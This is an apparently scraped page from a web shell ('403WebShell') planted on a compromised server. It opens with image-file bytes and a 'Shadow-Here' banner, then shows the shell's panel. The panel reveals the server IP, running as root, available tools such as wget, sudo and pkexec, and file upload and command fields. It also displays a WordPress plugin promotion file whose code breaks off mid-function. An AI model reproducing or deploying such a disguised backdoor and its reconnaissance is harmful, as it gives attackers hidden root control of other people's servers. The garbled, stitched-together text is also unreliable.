RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/bit/wp-content/plugins/ultimate-social-media-plus/promotion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/bit/wp-content/plugins/ultimate-social-media-plus/promotion/misc.php
<?php

  /**
   * Promotion of plugins that may be very useful for individual user
   *
   * @category Child Plugin
   * @version v0.1.0
   * @since v0.1.0
   * @author iClyde <kontakt@iclyde.pl>
   */

  // Namespace
  namespace Inisev\Subs;


  // Disallow direct access
  if (defined('ABSPATH')) {

    /**
     * Main class for handling the Carousel
     */
    if (!class_exists('Inisev\Subs\InisevPlugPromo')) {

      /**
       * Class which handles everything about Plug Promo
       */
      class InisevPlugPromo {

        // Private variables
        public $dir;
        public $url;
        private $file;
        private $slug;
        private $byName;
        private $menu;
        private $allSlugs = false;
        private $canRenderCDP = false;
        private $canRenderMPU = false;
        private $canRenderBMI = false;

        // Time limitations
        private $installationDelay = '+8 days'; // Time which before any banner will show
        private $bannersDelay = '+14 days'; // Time before any actions
        private $remindDelay = '+7 days'; // Time before try to remind again
        private $dismissDelay = '+180 days'; // Time after dissmissing
        private $successDelay = '+14 days'; // Time after successfull installation (for next banner check)
        private $timeAfterBodySuccess = '+10 days'; // Time after successfull body check (for alternative MPU rules)
        private $timeAfterBodyFail = '+4 days'; // Time after failed body check (for alternative MPU rules)

        // PLugin slugs
        private $bmi_slug = 'backup-backup/backup-backup.php';
        private $cdp_slug = 'copy-delete-posts/copy-delete-posts.php';
        private $mpu_slug = 'pop-up-pop-up/pop-up-pop-up.php';

        // We need basic information about the plugin
        function __construct($file, $slug, $byName, $menu) {

          if (!is_admin() || !current_user_can('install_plugins')) return;

          // Plugin __DIR__
          $this->dir = trailingslashit(dirname($file));

          // Plugin __FILE__
          $this->file = trailingslashit(dirname($file));

          // Current plugin slug
          $this->slug = $slug;

          // Plugin's name displayed under banner
          $this->byName = $byName;

          // Plugin's settings
          $this->menu = $menu;

          // Plugin assets
          $this->url = trailingslashit(plugins_url('', $file)) . 'promotion/assets/';

          // Show something?
          if ($this->checkIfCanShow()) {

            // Render the banner
            add_action('admin_notices', [$this, 'renderBanner']);

            // Add Scrips & Styles if Anything rendered
            add_action('admin_enqueue_scripts', [$this, 'addScriptsAndStyles']);

            // Ajax Handler
            add_action('wp_ajax_insPP_ajax', [$this, 'ajaxHandler']);

          }

        }

        // Check if page won't be broken
        public function checkSite() {

          global $pagenow;
          if ((isset($_GET['action']) && $_GET['action'] == 'edit') || in_array($pagenow, ['post-new.php'])) {
            return false;
          } else {
            return true;
          }

        }

        // Helper for assets
        public function _asset($file) {

          // Root URL for assets
          echo $this->url . $file;

        }

        // Helper function remove _ -/ characters and make lowercase
        private function makelower($str) {

          $str = str_replace('_', '', $str);
          $str = str_replace('-', '', $str);
          $str = str_replace('/', '', $str);
          $str = str_replace('\/', '', $str);
          $str = str_replace(' ', '', $str);
          $str = strtolower($str);

          return $str;

        }

        // Scan all slugs to calculate the
        private function getAllSlugs($_return = false) {

          if ($this->allSlugs == false) {

            $scannedFiles = scandir(WP_PLUGIN_DIR);
            $files = [];

            foreach($scannedFiles as $file) {
              if (in_array($file, ['.', '..'])) continue;
              if (is_dir(WP_PLUGIN_DIR . DIRECTORY_SEPARATOR . $file)) $files[] = $this->makelower($file);
            }

            $this->allSlugs = $files;

          }

          if ($_return) {
            return $this->allSlugs;
          }

        }

        // Check if plugin is installed
        private function checkIfPluginsInstalled($slugs) {

          if ($this->allSlugs === false) $this->getAllSlugs();

          for ($i = 0; $i < sizeof($slugs); ++$i) {

            $slug = $this->makelower($slugs[$i]);
            if (in_array($slug, $this->allSlugs)) {
              return true;
            }

          }

          return false;

        }

        // It will check if CDP is right plugin for current user
        private function checkIfCDP() {

          // If CDP is installed ignore
          if ($this->checkIfPluginsInstalled(['copy-delete-posts'])) {
            return false;
          }

          // Check if CDP was already displayed and dismissed/reminded
          $delayed = get_option('insPP_delay_cdp', false);
          if ($delayed && intval($delayed) > time()) {
            return false;
          }

          // Check List
          $plugins = ['duplicate-post',
                      'duplicate-page',
                      'duplicate-pp',
                      'post-duplicator',
                      'duplicate-wp-page-post',
                      'delete-duplicate-posts',
                      'duplicate-post-page-menu-custom-post-type',
                      'duplicate-page-or-post',
                      'rduplicator',
                      'wp-post-page-clone'];

          // Check if required plugin is installed, otherwise user may not need CDP
          if ($this->checkIfPluginsInstalled($plugins)) {

            if (!defined('insPP_renderScripts')) {
              define('insPP_renderScripts', true);
            }

            $this->canRenderCDP = true;
            return true;

          }

          return false;

        }

        // It will check if BMI is right plugin for current user
        private function checkIfBMI() {

          // If BMI is installed ignore
          if ($this->checkIfPluginsInstalled(['backup-migration', 'backup-backup'])) {
            return false;
          }

          // Check if BMI was already displayed and dismissed/reminded
          $delayed = get_option('insPP_delay_bmi', false);
          if ($delayed && intval($delayed) > time()) {
            return false;
          }

          // Check List
          $plugins = ['updraftplus',
                      'backwpup',
                      'backup',
                      'wpvivid-backuprestore',
                      'xcloner-backup-and-restore',
                      'all-in-one-wp-migration',
                      'duplicator',
                      'jetpack',
                      'boldgrid-backup',
                      'wp-database-backup',
                      'blogvault-real-time-backup',
                      'wp-backitup',
                      'wp-staging',
                      'wpvivid-backup-mainwp',
                      'wp-all-backup',
                      'keep-backup-daily',
                      'wp-rollback',
                      'wp-backup-bank',
                      'wp-dbmanager',
                      'backup-wd',
                      'advanced-database-cleaner',
                      'vaultpress',
                      'backupwordpress',
                      'wp-migrate-db',
                      'wp-db-backup',
                      'backup-database',
                      'migrate-guru',
                      'wp-site-migrate',
                      'wp-migration-duplicator',
                      'wpsynchro'];

          // Check if required plugin is installed, otherwise user may not need CDP
          if ($this->checkIfPluginsInstalled($plugins)) {

            if (!defined('insPP_renderScripts')) {
              define('insPP_renderScripts', true);
            }

            $this->canRenderBMI = true;
            return true;

          }

        }

        // It will check if MPU is right plugin for current user
        private function checkIfMPU($alternative = false) {

          // If MPU is installed ignore
          if ($this->checkIfPluginsInstalled(['pop-up-pop-up', 'wp-mypopups'])) {
            return false;
          }

          // Check if MPU was already displayed and dismissed/reminded
          $delayed = get_option('insPP_delay_mpu', false);
          if ($delayed && intval($delayed) > time()) {
            return false;
          }

          // Check List
          $plugins = ['optinmonster',
                      'justuno',
                      'wisepops-popups',
                      'popup-maker-wp',
                      'getsitecontrol',
                      'sumome',
                      'poptin',
                      'convertkit',
                      'cm-pop-up-banners',
                      'wordpress-popu',
                      'ninja-forms',
                      'popup-builder',
                      'popup-maker',
                      'pop-up',
                      'popup-by-supsystic',
                      'ari-fancy-lightbox',
                      'exit-popup',
                      'icegram',
                      'alligator-popup',
                      'video-popup',
                      'easy-fancybox',
                      'itro-popup',
                      'hellobar',
                      'popups',
                      'popupally',
                      'yith-woocommerce-popup',
                      'themify-popup',
                      'jazz-popups',
                      'provesource',
                      'smart-popup-blaster',
                      'popliup',
                      'cool-fade-popup',
                      'exit-intent-popups-by-optimonk',
                      'yeloni-free-exit-popup',
                      'wp-optin-wheel',
                      'mailoptin',
                      'omnisend-connect'];

          // Check if required plugin is installed, otherwise user may not need CDP
          $alternative_check = false;
          if ($alternative) {
            $alternative_check = $this->checkIfMPUAlt();
          }

          if ($this->checkIfPluginsInstalled($plugins) || $alternative_check) {

            if (!defined('insPP_renderScripts')) {
              define('insPP_renderScripts', true);
            }

            $this->canRenderMPU = true;
            return true;

          }

        }

        // It will check if CDP is right plugin for current user alternative
        private function checkIfCDPAlt() {

          // If CDP is installed ignore
          if ($this->checkIfPluginsInstalled(['copy-delete-posts'])) {
            return false;
          }

          // Check if CDP was already displayed and dismissed/reminded
          $delayed = get_option('insPP_delay_cdp', false);
          if ($delayed && intval($delayed) > time()) {
            return false;
          }

          // Make sure previous is false
          if ($this->checkIfCDP() !== false) {
            return false;
          }

          // Check post/page count
          $posts = wp_count_posts('post');
          $pages = wp_count_posts('page');
          $total = intval($posts->publish) + intval($posts->draft);
          $total += intval($pages->publish) + intval($pages->draft);

          // Check the minimum requirement
          if ($total < 5) {
            return false;
          }

          // Otherwise return true
          if (!defined('insPP_renderScripts')) {
            define('insPP_renderScripts', true);
          }

          // Alternative text
          if (!defined('insPP_cdp_alternative')) {
            define('insPP_cdp_alternative', true);
          }

          $this->canRenderCDP = true;
          return true;

        }

        // It will check if MPU is right plugin for current user alternative
        private function checkIfMPUAlt() {

          // Check if MPU was already displayed and dismissed/reminded
          $delayed = get_option('insPP_delay_mpu', false);
          if ($delayed && intval($delayed) > time()) {
            return false;
          }

          $keys = ['optinmonster',
                   'justuno',
                   'holdonstranger',
                   'wisepops',
                   'sleeknote',
                   'popupmaker',
                   'getsitecontrol',
                   'sethspopupcreator',
                   'wppopupmanager',
                   'pippity',
                   'Sumome sumo',
                   'convertflow',
                   'privy',
                   'poptin',
                   'convertkit',
                   'cm-pop-up-banners',
                   'wordpress-popup',
                   'ninja-popups',
                   'popup-builder',
                   'plugins/popup-maker/',
                   'CcPopUp',
                   'popup-by-supsystic',
                   'responsive-lightbox-popup',
                   'ari-fancy-lightbox',
                   'exit-popup',
                   'icegram',
                   'alligator-popup',
                   'video-popup',
                   'easy-fancybox',
                   'eu-cookie-law',
                   'itro-popup',
                   'cookie-law-info',
                   'omniconvert',
                   'blockadblock',
                   'exitmist',
                   'appocalypsis',
                   'exitmonitor',
                   'picreel',
                   'hellobar',
                   'brightinfo',
                   'gdpr-cookie-compliance',
                   'popups',
                   'popupally',
                   'yith-woocommerce-popup',
                   'themify-popup',
                   'jazz-popups',
                   'provesource',
                   'smart-popup-blaster',
                   'popliup',
                   'cool-fade-popup',
                   'popup-seo-optimized',
                   'exit-intent-popups-by-optimonk',
                   'Elementor',
                   'yeloni-free-exit-popup',
                   'optin-spin',
                   'exit-pop',
                   'wp-exit-page-redirect',
                   'popupdomination',
                   'inkexit',
                   'thriveleads',
                   'wp-optin-wheel',
                   'mailoptin',
                   'omnisend',
                   'magnificPopup',
                   'mailchimp',
                   'popup-lifterapps',
                   'popupsmart',
                   'constantcontact',
                   'mailmunch',
                   'bloom',
                   'layeredpopups',
                   'convertplus'];

          if (get_option('insPP_body_alt_timeout', false) != false) {
            if (intval(get_option('insPP_body_alt_timeout')) > intval(time())) {
              return get_option('insPP_body_alt_timeout_res', false);
            }
          }

          $body = wp_remote_get(site_url(), [ 'httpversion' => '1.1', 'sslverify' => false, 'timeout' => 3 ]);
          if ($body && is_array($body) && isset($body['body'])) {

            $found = false;
            $res = str_replace("\n", "", $body['body']);
            $res = strtolower($res);

            for ($i = 0; $i < sizeof($keys); ++$i) {
              $key = strtolower($keys[$i]);
              if (strpos($res, $key) !== false) {
                $found = true;
                break;
              }
            }

            update_option('insPP_body_alt_timeout', strtotime($this->timeAfterBodySuccess));
            update_option('insPP_body_alt_timeout_res', $found);
            return $found;

          } else {

            update_option('insPP_body_alt_timeout', strtotime($this->timeAfterBodyFail));
            update_option('insPP_body_alt_timeout_res', false);
            return false;

          }

        }

        // Render BMI Banner
        private function renderBMI() {

          if (defined('insPP_bmiDisplayed')) return;
          else define('insPP_bmiDisplayed', true);

          require_once trailingslashit(__DIR__) . 'views/bmi.php';

        }

        // Render CDP Banner
        private function renderCDP() {

          if (defined('insPP_cdpDisplayed')) return;
          else define('insPP_cdpDisplayed', true);

          require_once trailingslashit(__DIR__) . 'views/cdp.php';

        }

        // Render MPU Banner
        private function renderMPU() {

          if (defined('insPP_mpuDisplayed')) return;
          else define('insPP_mpuDisplayed', true);

          require_once trailingslashit(__DIR__) . 'views/mpu.php';

        }

        // Debug function
        private function resetAllDB() {

          // delete_option('insPP_timeout');
          // delete_option('insPP_body_alt_timeout');
          // delete_option('insPP_body_alt_timeout_res');
          // delete_option('insPP_delay_cdp');
          // delete_option('insPP_delay_bmi');
          // delete_option('insPP_delay_mpu');

        }

        // It will make sure it won't show multiple times
        private function checkIfCanShow() {

          // Don't show it immidietaly
          if (!get_option('insPP_timeout', false)) update_option('insPP_timeout', strtotime($this->installationDelay));
          else if (intval(get_option('insPP_timeout')) > intval(time())) return false;

          // Don't even try to show it multiple times
          if (defined('insPP_initialized')) return false;
          else define('insPP_initialized', true);

          // Renders won't allow to show it multiple times via different plugins.
          if ($this->checkIfBMI()) return true;
          else if ($this->checkIfCDP()) return true;
          else if ($this->checkIfMPU()) return true;
          else if ($this->checkIfCDPAlt()) return true;
          else if ($this->checkIfMPU(true)) return true;
          else return false;

        }

        // Handler for JSON response (error)
        private function send_json_error($data = [], $durringInstall = false) {

          wp_send_json_error($data);

        }

        // Handler for JSON response (success)
        private function send_json_success($data = []) {

          update_option('insPP_timeout', strtotime($this->successDelay));
          wp_send_json_success($data);

        }

        // Install plugin (worker)
        private function finalInstallPlugin($plugin_zip = false, $upgrade = false) {

          // Include upgrader
          include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
          wp_cache_flush();

          // Initialize WP upgrader & install the plugin
          $upgrader = new \Plugin_Upgrader();
          if ($upgrade) $installed = $upgrader->upgrade($plugin_zip);
          else $installed = $upgrader->install($plugin_zip);

          // Return status or WP Error
          return $installed;

        }

        // Install plugin (handler)
        private function _install($directory_slug, $slug) {

          // Prepare the URLs and full slug
          $plugin_slug = $slug;
          $plugin_zip = 'https://downloads.wordpress.org/plugin/' . $directory_slug . '.latest-stable.zip';

          // Make sure the plugin is not installed
          if ($this->checkIfPluginsInstalled([$directory_slug])) {

            // Upgrade the plugin if it's installed somehow
            $this->finalInstallPlugin($plugin_slug, true);
            $installed = true;

            // Install instead
          } else $installed = $this->finalInstallPlugin($plugin_zip);

          // Check if there was any error
          if (!is_wp_error($installed) && $installed) {
            $activate = activate_plugin($plugin_slug);

            if (is_null($activate)) {

              $url = admin_url('', 'admin');

              // CDP has special alert when installed with quick-install module
              if ($directory_slug === 'copy-delete-posts') {
                update_option('_cdp_cool_installation', true);
                update_option('_cdp_redirect', true);
                update_option('_cdp_banner_installation', true);
                $url = admin_url() . 'admin.php?page=copy-delete-posts';
              }

              // Redirection for MPU
              if ($directory_slug === 'pop-up-pop-up') {
                update_option('wp_mypopups_do_activation_redirect', true);
                update_option('wp_mypopups_banner_installation', true);
                $url = admin_url() . 'admin.php?page=wp-mypopups';
              }

              // Redirection for BMI
              if ($directory_slug === 'backup-backup') {
